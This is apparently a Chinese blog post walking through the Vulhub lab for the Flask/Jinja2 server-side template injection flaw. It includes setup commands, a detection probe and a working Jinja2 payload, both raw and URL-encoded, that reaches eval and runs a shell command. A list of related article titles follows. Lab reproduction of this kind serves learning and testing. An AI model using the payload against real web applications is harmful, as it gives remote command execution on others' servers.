原理

测试

编译及运行测试环境:

cd vulhub~master/flack/ssti

sudo docker-compose build

sudo docker-compose up -d

sudo docker ps

访问http://your-ip:8000/?name={{233*233}},得到54289,说明SSTI漏洞存在。

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("id").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

访问

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

得到执行结果:

利用工具

https://github.com/epinna/tplmap

jinja2模板注入_Flask(Jinja2) 服务端模板注入漏洞相关推荐

  1. Flask服务端模板(Jinja2) SSTI 注入漏洞

    漏洞简介 flask/ssti漏洞,即: Flask(Jinja2) 服务端模板注入漏洞(SSTI).Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库 ...

  2. Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti

    一.服务端模板注入漏洞 简述: 服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 ...

  3. cve-2019-11581 Atlassian Jira未授权服务端模板注入漏洞

    漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和Jira ...

  4. Weblogic服务端请求伪造漏洞(SSRF)和反射型跨站请求伪造漏洞(CSS)修复教程...

    一.服务端请求伪造漏洞 服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助 ...

  5. java excel模板 下载_Java从服务端下载Excel模板文件

    /** * 描述:下载外部案件导入模板 * @param response * @param request * @author songfayuan * 2018年6月7日下午5:03:59 */ ...

  6. 框架依赖注入和普通依赖注入_角服务和依赖注入解释

    框架依赖注入和普通依赖注入 服务和喷油器 (Services and Injectors) Components are responsible for the data that renders i ...

  7. 【网络安全工程师面试】—SSRF服务端请求伪造漏洞及利用方法

    目录 4.4. SSRF 4.4.1. 简介 4.4.1.1. 漏洞危害 4.4.2. 利用方式 4.4.3. 相关危险函数 4.4.4. 过滤绕过 4.4.4.1. 更改IP地址写法 4.4.4.2 ...

  8. web渗透测试----15、SSRF漏洞(服务端请求伪造漏洞)

    SSRF漏洞是一种在未能获取服务器权限时,利用服务器漏洞,由攻击者构造请求,服务器端发起请求的安全漏洞,攻击者可以利用该漏洞诱使服务器端应用程序向攻击者选择的任意域发出HTTP请求. 很多Web应用都 ...

  9. jinja2模板注入_Flask jinja2 模板注入思路总结

    Flask jinja2 模板注入思路总结 前言 虽然这个漏洞已经出现很久了, 不过偶尔还是能够看到翻了翻 freebuf 上好像只有 python2 的一些 payload, 方法也不是很全我找来找 ...

最新文章

  1. 技术开发频道一周精选2007-8-24
  2. 提审马甲包被拒问题记录
  3. 简单C语言程序的执行过程
  4. 修改程序的形而上学思考(随笔)
  5. 在Linux中切换用户的命令是set,Linux基础命令---切换用户su
  6. 23种设计模式及其应用场景
  7. GPS-GGA数据格式
  8. 测绘地理信息标准规范汇总下载
  9. 微信开发者工具使用git
  10. linux 清除dns缓存
  11. ch341a_USB转串口/并口驱动
  12. PDF Reader XI 闪退+安装组件错误代码提示1935最完美最靠谱的解决方案
  13. 英文字符和数字间隔突然变大
  14. fusion 360自定义螺纹配置文件下载以及安装方法
  15. C语言文件操作(1)
  16. 未来五年最有前景的编程语言是什么?
  17. Mac电脑解决Google翻译失效实用方法
  18. Revit教程-Revit包络如何控制墙体面层
  19. 18 副为程序员定制的对联,总有一副适合你...流泪
  20. PL / SQL在线编译器–在线运行Oracle PL / SQL程序

热门文章

  1. 18 张图彻底弄懂 HTTPS 的原理!
  2. 做到这 3 点,斩获 BAT Offer 不是梦
  3. 新基建浪潮下,看边缘计算+5G如何乘风破浪
  4. 接招!1000+ 常用的 Linux 命令来袭
  5. 75.58 亿美元成交!美国最大规模 5G 毫米波频谱拍卖
  6. 真的,关于 Kafka 入门看这一篇就够了
  7. 华为回应前员工被拘 251 天;暴风集团仅剩 10 余人;TiDB 3.0.6 发布 | 极客头条...
  8. Erlang 二十年,如何在编程语言中占据一席之地?
  9. 这位 GitHub 冠军项目背后的“老男人”,堪称 10 倍程序员本尊!
  10. 父母延长退休,作为程序员的我光荣失业